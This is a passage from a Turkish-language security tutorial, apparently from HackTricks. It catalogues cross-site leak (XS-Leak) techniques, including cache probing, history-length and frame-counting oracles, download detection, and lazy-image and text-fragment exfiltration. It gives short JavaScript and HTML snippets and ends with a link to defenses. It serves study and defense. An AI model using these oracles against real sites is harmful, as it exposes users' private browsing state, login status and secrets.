Eğer Origin başlığı, Access-Control-Allow-Origin başlığında yansıtılıyorsa, bir saldırgan bu davranışı kötüye kullanarak CORS modunda kaynağı almaya çalışabilir. Eğer bir hata tetiklenmezse, bu, kaynağın web'den doğru bir şekilde alındığı anlamına gelir; eğer bir hata tetiklenirse, bunun nedeni önbellekten erişilmiş olmasıdır (hata, önbelleğin orijinal alan adına izin veren bir CORS başlığı ile bir yanıt kaydetmesi nedeniyle ortaya çıkar).
Eğer köken yansıtılmıyorsa ancak bir joker karakter kullanılıyorsa (Access-Control-Allow-Origin: *), bu çalışmayacaktır.

Okunabilir Nitelikler Tekniği

Fetch Yönlendirmesi

redirect: "manual" ve diğer parametrelerle Fetch API kullanarak bir istek gönderildiğinde, response.type niteliğini okumak mümkündür ve eğer bu opaqueredirect ile eşitse, yanıt bir yönlendirmedir.

COOP

Bir saldırgan, cross-origin bir HTTP yanıtında Cross-Origin Opener Policy (COOP) başlığının varlığını çıkarabilir. COOP, web uygulamaları tarafından dış sitelerin rastgele pencere referansları elde etmesini engellemek için kullanılır. Bu başlığın görünürlüğü, contentWindow referansına erişmeye çalışarak tespit edilebilir. COOP koşullu olarak uygulandığında, opener niteliği belirleyici bir gösterge haline gelir: COOP aktif olduğunda tanımsızdır, yokluğunda ise tanımlıdır.

URL Maksimum Uzunluğu - Sunucu Tarafı

Eğer sunucu tarafı yönlendirmesi yönlendirme içinde kullanıcı girdisi ve ek veri kullanıyorsa, bu davranışı tespit etmek mümkündür; çünkü genellikle sunucuların bir istek uzunluğu limiti vardır. Eğer kullanıcı verisi o uzunluk - 1 ise, çünkü yönlendirme bu veriyi kullanıyor ve ek bir şey ekliyorsa, bu bir hata tetikler ve Hata Olayları aracılığıyla tespit edilebilir.

Eğer bir şekilde bir kullanıcıya çerez ayarlayabiliyorsanız, bu saldırıyı yeterince çerez ayarlayarak da gerçekleştirebilirsiniz (çerez bombası) böylece doğru yanıtın artmış boyutu bir hata tetikler. Bu durumda, bu isteği aynı siteden tetiklediğinizde, <script> otomatik olarak çerezleri gönderir (bu nedenle hataları kontrol edebilirsiniz).
Çerez bombası + XS-Search örneği, bu yazının Beklenen çözümünde bulunabilir: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None veya aynı bağlamda olmak genellikle bu tür bir saldırı için gereklidir.

URL Maksimum Uzunluğu - İstemci Tarafı

Chromium belgelerine göre, Chrome'un maksimum URL uzunluğu 2MB'dır.

Genel olarak, web platformu URL'lerin uzunluğu üzerinde sınırlara sahip değildir (ancak 2^31 yaygın bir sınırdır). Chrome, pratik nedenlerle ve süreçler arası iletişimde hizmet reddi sorunlarını önlemek için URL'leri maksimum 2MB uzunluğunda sınırlar.

Bu nedenle, eğer yönlendirme URL'si bir durumda daha büyükse, 2MB'dan daha büyük bir URL ile yönlendirme yapılması mümkündür. Bu durumda, Chrome about:blank#blocked sayfasını gösterir.

Fark edilebilir fark, eğer yönlendirme tamamlandıysa, window.origin bir hata fırlatır; çünkü bir cross-origin bu bilgiyi erişemez. Ancak, eğer sınır aşılırsa ve yüklenen sayfa about:blank#blocked ise, pencerenin origin değeri ebeveynin değeri olarak kalır, bu da erişilebilir bir bilgidir.

2MB'ye ulaşmak için gereken tüm ek bilgiler, başlangıç URL'sinde bir hash aracılığıyla eklenebilir, böylece yönlendirmede kullanılacaktır.

URL Max Length - Client Side

Maksimum Yönlendirmeler

Eğer bir tarayıcının takip etmesi gereken maksimum yönlendirme sayısı 20 ise, bir saldırgan 19 yönlendirme ile kendi sayfasını yüklemeye çalışabilir ve sonunda kurbanı test edilen sayfaya yönlendirebilir. Eğer bir hata tetiklenirse, bu durumda sayfa kurbanı yönlendirmeye çalışıyordur.

Geçmiş Uzunluğu

Geçmiş API'si, JavaScript kodunun tarayıcı geçmişini manipüle etmesine olanak tanır; bu, bir kullanıcının ziyaret ettiği sayfaları kaydeder. Bir saldırgan, uzunluk niteliğini bir dahil etme yöntemi olarak kullanabilir: JavaScript ve HTML navigasyonunu tespit etmek için.
history.length kontrol edilerek, bir kullanıcı bir sayfaya geçiş yaptığında, aynı kökene geri döndüğünde ve history.length'in yeni değerini kontrol ettiğinde.

Aynı URL ile Geçmiş Uzunluğu

  • Dahil Etme Yöntemleri: Çerçeveler, Pop-up'lar
  • Tespit Edilebilir Fark: Eğer URL tahmin edilenle aynıysa
  • Özet: Bir çerçevenin/pop-up'ın konumunun belirli bir URL'de olup olmadığını tahmin etmek mümkündür; geçmiş uzunluğundan yararlanarak.
  • Kod Örneği: Aşağıda

Bir saldırgan, JavaScript kodunu kullanarak çerçevenin/pop-up'ın konumunu tahmin edilen bir URL'ye manipüle edebilir ve hemen ardından about:blank'e değiştirebilir. Eğer geçmiş uzunluğu arttıysa, bu, URL'nin doğru olduğu ve artış için zaman bulduğu anlamına gelir; çünkü URL aynıysa yeniden yüklenmez. Eğer artmadıysa, bu, tahmin edilen URL'yi yüklemeye çalıştığı anlamına gelir, ancak hemen ardından about:blank'i yüklediğimiz için, tahmin edilen URL'yi yüklerken geçmiş uzunluğu asla artmamıştır.

javascript
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

iframe veya window.open ile açılan bir webdeki çerçeve sayısını saymak, kullanıcının o sayfadaki durumunu belirlemeye yardımcı olabilir.
Ayrıca, eğer sayfada her zaman aynı sayıda çerçeve varsa, çerçeve sayısını sürekli kontrol etmek, bilgi sızdırabilecek bir deseni belirlemeye yardımcı olabilir.

Bu tekniğin bir örneği, Chrome'da bir PDF'nin çerçeve sayımı ile belirlenebilmesidir çünkü dahili olarak bir embed kullanılır. zoom, view, page, toolbar gibi içeriği kontrol etmeye izin veren Açık URL Parametreleri vardır; bu teknik ilginç olabilir.

HTMLElements

HTML elemanları aracılığıyla bilgi sızdırılması, özellikle kullanıcı bilgilerine dayalı dinamik medya dosyaları oluşturulduğunda veya su işaretleri eklendiğinde, medya boyutunu değiştirdiğinde web güvenliği açısından bir endişe kaynağıdır. Bu, belirli HTML elemanları tarafından açığa çıkarılan bilgileri analiz ederek olası durumları ayırt etmek için saldırganlar tarafından istismar edilebilir.

HTML Elemanları Tarafından Açığa Çıkan Bilgiler

  • HTMLMediaElement: Bu eleman, medyanın duration ve buffered sürelerini açığa çıkarır; bunlara API'si aracılığıyla erişilebilir. HTMLMediaElement hakkında daha fazla bilgi edinin
  • HTMLVideoElement: videoHeight ve videoWidth değerlerini açığa çıkarır. Bazı tarayıcılarda, webkitVideoDecodedByteCount, webkitAudioDecodedByteCount ve webkitDecodedFrameCount gibi ek özellikler mevcuttur; bu da medya içeriği hakkında daha derinlemesine bilgi sunar. HTMLVideoElement hakkında daha fazla bilgi edinin
  • getVideoPlaybackQuality(): Bu fonksiyon, video oynatma kalitesi hakkında bilgiler sağlar; totalVideoFrames dahil, bu da işlenen video verisinin miktarını gösterebilir. getVideoPlaybackQuality() hakkında daha fazla bilgi edinin
  • HTMLImageElement: Bu eleman, bir resmin height ve width değerlerini sızdırır. Ancak, bir resim geçersizse, bu özellikler 0 döner ve image.decode() fonksiyonu reddedilir; bu da resmin düzgün bir şekilde yüklenmediğini gösterir. HTMLImageElement hakkında daha fazla bilgi edinin

CSS Özelliği

Web uygulamaları, kullanıcının durumuna bağlı olarak web sitesi stilini değiştirebilir. Saldırgan sayfasında HTML bağlantı elemanı ile çapraz kökenli CSS dosyaları gömülebilir ve kurallar saldırgan sayfasına uygulanır. Eğer bir sayfa bu kuralları dinamik olarak değiştirirse, bir saldırgan, kullanıcı durumuna bağlı olarak bu farklılıkları belirleyebilir.
Bir sızıntı tekniği olarak, saldırgan belirli bir HTML elemanının CSS özelliklerini okumak için window.getComputedStyle yöntemini kullanabilir. Sonuç olarak, etkilenen eleman ve özellik adı biliniyorsa, saldırgan keyfi CSS özelliklerini okuyabilir.

CSS Geçmişi

note

Bu kaynağına göre, bu başsız Chrome'da çalışmıyor.

CSS :visited seçici, daha önce kullanıcı tarafından ziyaret edilmiş URL'leri farklı şekilde stilize etmek için kullanılır. Geçmişte, bu stil farklılıklarını belirlemek için getComputedStyle() yöntemi kullanılabiliyordu. Ancak, modern tarayıcılar, bu yöntemin bir bağlantının durumunu açığa çıkarmasını önlemek için güvenlik önlemleri uygulamıştır. Bu önlemler, her zaman bağlantının ziyaret edilmiş gibi hesaplanan stilini döndürmeyi ve :visited seçici ile uygulanabilecek stilleri kısıtlamayı içerir.

Bu kısıtlamalara rağmen, bir bağlantının ziyaret edilmiş durumunu dolaylı olarak ayırt etmek mümkündür. Bir teknik, kullanıcıyı CSS ile etkilenen bir alana etkileşime girmeye ikna etmeyi içerir; özellikle mix-blend-mode özelliğini kullanarak. Bu özellik, öğelerin arka planlarıyla karışmasını sağlar ve kullanıcı etkileşimine bağlı olarak ziyaret edilmiş durumu açığa çıkarabilir.

Ayrıca, kullanıcı etkileşimi olmadan bağlantıların render sürelerini istismar ederek tespit sağlanabilir. Tarayıcılar, ziyaret edilmiş ve ziyaret edilmemiş bağlantıları farklı şekilde render edebileceğinden, bu render süresinde ölçülebilir bir zaman farkı oluşturabilir. Bir kanıt konsepti (PoC), bu tekniği zaman farkını artırmak için birden fazla bağlantı kullanarak gösteren bir Chromium hata raporunda bahsedilmiştir; böylece ziyaret edilmiş durum zaman analizi ile tespit edilebilir hale gelir.

Bu özellikler ve yöntemler hakkında daha fazla bilgi için belgelerine göz atın:

ContentDocument X-Frame Leak

Chrome'da, X-Frame-Options başlığı "deny" veya "same-origin" olarak ayarlanmış bir sayfa bir nesne olarak gömüldüğünde, bir hata sayfası görünür. Chrome, bu nesnenin contentDocument özelliği için boş bir belge nesnesi (null yerine) döndürür; bu, iframe'lerde veya diğer tarayıcılarda olduğu gibi değildir. Saldırganlar, boş belgeyi tespit ederek bunu istismar edebilir ve kullanıcının durumu hakkında bilgi açığa çıkarabilir; özellikle geliştiriciler X-Frame-Options başlığını tutarsız bir şekilde ayarladıklarında, genellikle hata sayfalarını göz ardı ederler. Güvenlik başlıklarının farkında olmak ve tutarlı bir şekilde uygulanması, bu tür sızıntıları önlemek için kritik öneme sahiptir.

Download Detection

Content-Disposition başlığı, özellikle Content-Disposition: attachment, tarayıcıya içeriği çevrimiçi olarak görüntülemek yerine indirmesi talimatını verir. Bu davranış, bir kullanıcının dosya indirmesini tetikleyen bir sayfaya erişip erişmediğini tespit etmek için istismar edilebilir. Chromium tabanlı tarayıcılarda, bu indirme davranışını tespit etmek için birkaç teknik vardır:

  1. İndirme Çubuğu İzleme:
  • Chromium tabanlı tarayıcılarda bir dosya indirildiğinde, tarayıcı penceresinin alt kısmında bir indirme çubuğu görünür.
  • Pencere yüksekliğindeki değişiklikleri izleyerek, indirme çubuğunun görünümünü çıkarabilirler; bu, bir indirmenin başlatıldığını gösterir.
  1. Iframe ile İndirme Navigasyonu:
  • Bir sayfa Content-Disposition: attachment başlığını kullanarak bir dosya indirmesini tetiklediğinde, bu bir navigasyon olayı oluşturmaz.
  • İçeriği bir iframe içinde yükleyerek ve navigasyon olaylarını izleyerek, içerik durumunun bir dosya indirmesine neden olup olmadığını kontrol etmek mümkündür (navigasyon yok) veya olmadığını kontrol edebiliriz.
  1. Iframe Olmadan İndirme Navigasyonu:
  • Iframe tekniğine benzer şekilde, bu yöntem bir iframe yerine window.open kullanmayı içerir.
  • Yeni açılan penceredeki navigasyon olaylarını izlemek, bir dosya indirmenin tetiklenip tetiklenmediğini (navigasyon yok) veya içeriğin çevrimiçi olarak görüntülenip görüntülenmediğini (navigasyon gerçekleşir) ortaya çıkarabilir.

Sadece giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiği senaryolarda, bu teknikler, tarayıcının indirme isteğine yanıtına dayanarak kullanıcının kimlik doğrulama durumunu dolaylı olarak çıkarabilir.

Partitioned HTTP Cache Bypass

warning

Bu tekniğin ilginç olmasının nedeni: Chrome artık önbellek bölümlendirmesi yapıyor ve yeni açılan sayfanın önbellek anahtarı: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx); ancak bir ngrok sayfası açıp içinde fetch kullanırsam, önbellek anahtarı: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx) olacaktır; önbellek anahtarı farklıdır, bu nedenle önbellek paylaşılmaz. Daha fazla ayrıntıyı burada bulabilirsiniz: Önbelleği bölümlendirerek güvenlik ve gizlilik kazanma
(Buradan gelen bir yorum)

Eğer bir site example.com, *.example.com/resource adresinden bir kaynak içeriyorsa, o kaynak, kaynağın doğrudan üst düzey navigasyon ile talep edilmiş gibi aynı önbellek anahtarına sahip olacaktır. Çünkü önbellek anahtarı, üst düzey eTLD+1 ve çerçeve eTLD+1'den oluşur.

Önbelleğe erişmek, bir kaynağı yüklemekten daha hızlı olduğundan, bir sayfanın konumunu değiştirmeyi ve durdurduktan 20ms (örneğin) sonra iptal etmeyi denemek mümkündür. Eğer durdurduktan sonra köken değiştiyse, bu, kaynağın önbelleğe alındığı anlamına gelir.
Ya da sadece önbelleğe alınmış sayfaya bazı fetch'ler gönderip geçen süreyi ölçebilirsiniz.

Manual Redirect

Fetch with AbortController

fetch ve setTimeout kullanarak bir AbortController ile hem kaynağın önbelleğe alınıp alınmadığını tespit etmek hem de belirli bir kaynağı tarayıcı önbelleğinden çıkarmak mümkündür. Ayrıca, bu işlem yeni içerik önbelleğe alınmadan gerçekleşir.

Script Pollution

Service Workers

Verilen senaryoda, saldırgan, kendi alanlarından biri olan "attacker.com" içinde bir service worker kaydetme girişiminde bulunur. Ardından, saldırgan ana belgeden hedef web sitesinde yeni bir pencere açar ve service worker'a bir zamanlayıcı başlatmasını talimatını verir. Yeni pencere yüklenmeye başladığında, saldırgan önceki adımda elde edilen referansı service worker tarafından yönetilen bir sayfaya yönlendirir.

Önceki adımda başlatılan isteğin varışında, service worker 204 (No Content) durum kodu ile yanıt verir ve navigasyon sürecini etkili bir şekilde sonlandırır. Bu noktada, service worker daha önce ikinci adımda başlatılan zamanlayıcıdan bir ölçüm alır. Bu ölçüm, JavaScript'in navigasyon sürecinde neden olduğu gecikmelerden etkilenir.

warning

Bir yürütme zamanlamasında, daha kesin ölçümler elde etmek için ağ faktörlerini ortadan kaldırmak mümkündür. Örneğin, sayfa yüklenmeden önce sayfanın kullandığı kaynakları yükleyerek.

Fetch Timing

Cross-Window Timing

HTML veya Re Enjeksiyonu ile

Burada, HTML içeriği enjekte ederek çapraz kökenli bilgileri dışa aktarmak için teknikler bulabilirsiniz. Bu teknikler, herhangi bir nedenle HTML enjekte edebiliyorsanız ancak JS kodu enjekte edemiyorsanız ilginçtir.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Eğer içeriği dışa aktarmanız gerekiyorsa ve sırrın öncesine HTML ekleyebiliyorsanız, yaygın dangling markup tekniklerini kontrol etmelisiniz.
Ancak, herhangi bir nedenle karakter karakter yapmanız GEREKİYORSA (belki iletişim bir önbellek vuruşu aracılığıyla) bu hileyi kullanabilirsiniz.

HTML'deki resimler, değeri "lazy" olan bir "loading" niteliğine sahiptir. Bu durumda, resim, sayfa yüklenirken değil, görüntülendiğinde yüklenecektir:

html
<img src=/something loading=lazy >

Bu nedenle, yapabileceğiniz şey, gizli bilgiden önce web sayfasını doldurmak için çok sayıda gereksiz karakter eklemek (örneğin binlerce "W") veya şuna benzer bir şey eklemek <br><canvas height="1850px"></canvas><br>.
Örneğin, eğer enjeksiyonumuz bayraktan önce görünüyorsa, görüntü yüklenir, ancak bayraktan sonra görünüyorsa, bayrak + gereksiz karakter yüklenmesini engelleyecektir (ne kadar gereksiz karakter ekleyeceğinizle oynamanız gerekecek). Bu, bu yazıda olan şeydir.

Başka bir seçenek, izin verilirse scroll-to-text-fragment kullanmaktır:

Scroll-to-text-fragment

Ancak, botun sayfaya erişmesini sağlarsınız, bir şeyle gibi

#:~:text=SECR

Web sayfası şöyle bir şey olacak: https://victim.com/post.html#:~:text=SECR

Burada post.html, saldırganın gereksiz karakterlerini ve tembel yükleme görüntüsünü içerir ve ardından botun sırrı eklenir.

Bu metin, botun sayfadaki SECR metnini içeren herhangi bir metne erişmesini sağlayacaktır. Bu metin sırdır ve görüntünün hemen altında yer almaktadır, gizli kelime doğru tahmin edilirse görüntü yalnızca yüklenecektir. Böylece, sırrı karakter karakter dışarı sızdırmak için oracliniz var.

Bunu istismar etmek için bir kod örneği: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Görüntü Tembel Yükleme Zamanına Dayalı

Eğer harici bir görüntüyü yüklemek mümkün değilse, bu, saldırgana görüntünün yüklendiğini gösterebilir, başka bir seçenek ise karakteri birkaç kez tahmin etmeye çalışmak ve bunu ölçmektir. Eğer görüntü yüklenirse, tüm istekler, görüntü yüklenmediğinde olduğundan daha uzun sürecektir. Bu, bu yazının çözümünde özetlenmiştir:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Eğer jQuery(location.hash) kullanılıyorsa, zamanlama yoluyla bazı HTML içeriğinin var olup olmadığını bulmak mümkündür, çünkü eğer main[id='site-main'] seçici eşleşmiyorsa, geri kalan seçicileri kontrol etmesine gerek yoktur:

javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

Defenses

Bu tekniklere karşı nasıl korunacağınız hakkında daha fazla bilgi için https://xsinator.com/paper.pdf ve wiki'nin her bölümünde https://xsleaks.dev/ önerilen önlemler bulunmaktadır.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin